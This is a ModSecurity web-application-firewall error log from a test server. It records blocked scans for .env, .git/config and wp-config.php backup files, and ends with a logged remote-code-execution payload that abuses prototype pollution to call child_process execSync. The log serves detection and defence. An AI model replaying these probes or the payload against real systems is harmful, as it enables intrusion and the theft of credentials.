[Sun Jan 11 16:35:28.429560 2026] [:error] [pid 1336278] [client 172.105.253.168:54068] [client 172.105.253.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWPDQN79zboqPEXiMgIzKQAAAAE"]
[Sun Jan 11 16:35:28.429736 2026] [:error] [pid 1336278] [client 172.105.253.168:54068] [client 172.105.253.168] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWPDQN79zboqPEXiMgIzKQAAAAE"]
[Mon Jan 12 07:09:17.078074 2026] [:error] [pid 1355923] [client 54.173.215.84:51376] [client 54.173.215.84] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWSQDSE1xEBhFyXickXrNgAAAAA"]
[Mon Jan 12 07:09:17.078361 2026] [:error] [pid 1355923] [client 54.173.215.84:51376] [client 54.173.215.84] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWSQDSE1xEBhFyXickXrNgAAAAA"]
[Mon Jan 12 07:09:17.078544 2026] [:error] [pid 1355923] [client 54.173.215.84:51376] [client 54.173.215.84] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWSQDSE1xEBhFyXickXrNgAAAAA"]
[Mon Jan 12 07:41:06.219907 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWSXgsC2y5bYy1r2HoPyxQAAAAM"]
[Mon Jan 12 07:41:06.220130 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWSXgsC2y5bYy1r2HoPyxQAAAAM"]
[Mon Jan 12 07:41:06.220283 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWSXgsC2y5bYy1r2HoPyxQAAAAM"]
[Mon Jan 12 07:41:06.242026 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWSXgsC2y5bYy1r2HoPyxgAAAAM"]
[Mon Jan 12 07:41:06.242223 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWSXgsC2y5bYy1r2HoPyxgAAAAM"]
[Mon Jan 12 07:41:06.242387 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWSXgsC2y5bYy1r2HoPyxgAAAAM"]
[Mon Jan 12 07:41:06.263632 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aWSXgsC2y5bYy1r2HoPyxwAAAAM"]
[Mon Jan 12 07:41:06.263753 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aWSXgsC2y5bYy1r2HoPyxwAAAAM"]
[Mon Jan 12 07:41:06.263937 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aWSXgsC2y5bYy1r2HoPyxwAAAAM"]
[Mon Jan 12 07:41:06.264076 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aWSXgsC2y5bYy1r2HoPyxwAAAAM"]
[Mon Jan 12 07:41:06.285504 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aWSXgsC2y5bYy1r2HoPyyAAAAAM"]
[Mon Jan 12 07:41:06.285690 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aWSXgsC2y5bYy1r2HoPyyAAAAAM"]
[Mon Jan 12 07:41:06.285849 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aWSXgsC2y5bYy1r2HoPyyAAAAAM"]
[Mon Jan 12 07:41:06.307157 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aWSXgsC2y5bYy1r2HoPyyQAAAAM"]
[Mon Jan 12 07:41:06.307318 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aWSXgsC2y5bYy1r2HoPyyQAAAAM"]
[Mon Jan 12 07:41:06.307456 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aWSXgsC2y5bYy1r2HoPyyQAAAAM"]
[Mon Jan 12 07:41:06.328745 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aWSXgsC2y5bYy1r2HoPyygAAAAM"]
[Mon Jan 12 07:41:06.328940 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aWSXgsC2y5bYy1r2HoPyygAAAAM"]
[Mon Jan 12 07:41:06.329110 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aWSXgsC2y5bYy1r2HoPyygAAAAM"]
[Mon Jan 12 07:41:06.350303 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWSXgsC2y5bYy1r2HoPyywAAAAM"]
[Mon Jan 12 07:41:06.350510 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWSXgsC2y5bYy1r2HoPyywAAAAM"]
[Mon Jan 12 07:41:06.350666 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWSXgsC2y5bYy1r2HoPyywAAAAM"]
[Mon Jan 12 07:41:06.371906 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aWSXgsC2y5bYy1r2HoPyzAAAAAM"]
[Mon Jan 12 07:41:06.372057 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aWSXgsC2y5bYy1r2HoPyzAAAAAM"]
[Mon Jan 12 07:41:06.372208 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aWSXgsC2y5bYy1r2HoPyzAAAAAM"]
[Mon Jan 12 07:41:06.393216 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aWSXgsC2y5bYy1r2HoPyzQAAAAM"]
[Mon Jan 12 07:41:06.393335 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aWSXgsC2y5bYy1r2HoPyzQAAAAM"]
[Mon Jan 12 07:41:06.393487 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aWSXgsC2y5bYy1r2HoPyzQAAAAM"]
[Mon Jan 12 07:41:06.393627 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aWSXgsC2y5bYy1r2HoPyzQAAAAM"]
[Mon Jan 12 07:41:06.436598 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aWSXgsC2y5bYy1r2HoPyzwAAAAM"]
[Mon Jan 12 07:41:06.436820 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aWSXgsC2y5bYy1r2HoPyzwAAAAM"]
[Mon Jan 12 07:41:06.436956 2026] [:error] [pid 1355926] [client 195.178.110.132:46340] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aWSXgsC2y5bYy1r2HoPyzwAAAAM"]
[Mon Jan 12 09:57:39.512584 2026] [:error] [pid 1362231] [client 35.180.31.174:45180] [client 35.180.31.174] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] 